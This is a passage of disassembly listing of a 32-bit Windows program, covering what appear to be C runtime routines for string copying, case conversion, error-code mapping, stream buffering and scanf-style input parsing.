					; sub_4200E8+166j
		and	byte_4DCDA0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DCFD4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DCFD4, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCD9C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEA1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB9E4, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBB4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9A8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB9E4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB92C, ecx
		mov	eax, offset dword_43CCC0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE28
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB928, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCC4[edx*8]
		mov	dword_4DB928, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB928, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB928, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0B8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D0D8
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB10
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9B4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9B4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBB4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9A8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBB4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBB4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBB8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBB8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBB4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBB4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF58
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE30
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE28


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
